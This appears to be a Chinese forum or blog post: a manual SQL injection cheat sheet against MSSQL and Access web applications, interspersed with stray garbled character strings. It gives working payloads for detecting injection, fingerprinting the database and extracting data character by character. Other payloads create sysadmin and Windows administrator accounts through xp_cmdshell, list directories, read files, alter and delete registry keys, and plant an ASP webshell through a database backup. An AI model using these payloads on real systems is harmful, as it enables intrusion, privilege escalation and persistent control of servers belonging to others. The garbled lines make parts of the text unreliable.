手工脚本注入

admin

手工脚本注入
8 [9 r; q4 [0 ]8 q, [4 ]$ n6 f1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0
1 U- i! E3 {2 N* `( U/ N$ z' g
" `7 O" H% L) {: q3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='
& D! ?5 h( ]+ N- h6 g$ h6 Q
5.判断数据库系统
  T0 U, P3 G( b+ H' B% e;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
! V6 E- d! a+ _0 z( d
6.猜数据库 ;and (select Count(*) from [数据库名])>0
# r8 V7 d& y! r4 B  K
) a/ y3 h  t, J$ m$ ^% h7 }7.猜字段 ;and (select Count(字段名) from 数据库名)>0

. k) h% _; C$ I% V' z8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

# N6 r" ]4 I" `, M3 Q( J9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
; @: {9 X* K& x# b( w3 w  i6 X
(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构（mssql）
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
- W! J- K! j& m+ I;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
) X; Z" }, c  x  O* h3 n' j9 k;and 1=(select IS_MEMBER('db_owner'));--
9 \. q" a/ u" p+ P% n# v9 x- z) Q1 K
11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--
0 i) t8 O' T( g! h/ y9 Q& f$ l" V
;exec master.dbo.sp_addsrvrolemember sysadmin username;--

;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
4 b/ B: S' C4 B5 e! p
;exec master.dbo.xp_cmdshell 'net user username password /add';--
/ w3 U0 i: S7 x/ R
: \% T" P8 y1 k; r: o8 t1 Q& D;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
1 S) J7 Q, M, @;insert dirs exec master.dbo.xp_dirtree 'c:\'
% c. r5 H& [# Y+ D; Q;and (select top 1 paths from dirs)>0
* f1 s3 `! l0 ]$ ];and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
- u& d9 r" N) d( R* J7 p7 L) V' Z;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
8 j1 t9 e! F+ F+ m  ?;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

: w3 d9 h* j# }' w# R13.mssql中的存储过程

0 M) j9 }3 Z% u; I1 w7 Pxp_regenumvalues 注册表根键, 子键
- z/ u" W; K: u- \;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
( V! O8 d$ x) k9 N' g5 A;exec xp_regread
% b( a5 l! J: \) j, w'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

5 @8 S- B; K2 x9 ?xp_regwrite 根键,子键, 值名, 值类型, 值
: l- @. O6 p9 x3 }* z0 Q3 d值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
3 f! r0 G: L/ P# z' r5 m
xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

* l9 K7 L$ Q/ v  s* d" r) ~9 j14.mssql的backup创建webshell
use model
. d" D1 J2 D, w0 t* @# G( d% Vcreate table cmd(str image);
. B( q9 e1 R! v' w8 o% Einsert into cmd(str) values ('');
' z" s: g: z; \backup database model to disk='c:\l.asp';
5 n4 u( d. b8 b/ B
15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
: a0 y4 ~' z  X9 q, Z6 };and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
/ U: X& h4 C3 V;and (select db_name())>0 得到当前连接的数据库
# i0 f0 E' j) X' L+ z
+ ^2 L5 O% k, f( D- \8 a- j16.简洁的webshell
! n- p5 ^' o( D% e6 S$ G; k: \
0 S7 ?( c$ B1 Q# Z9 N6 }# Luse model

create table cmd(str image);
8 }4 {  R6 d+ r( ]$ g
insert into cmd(str) values ('');

( m) f3 v' ]; h- W" f+ q% k2 g0 fbackup database model to disk='g:\wwwtest\l.asp';

老男孩

现在很多防注入啊，有其他注入字符码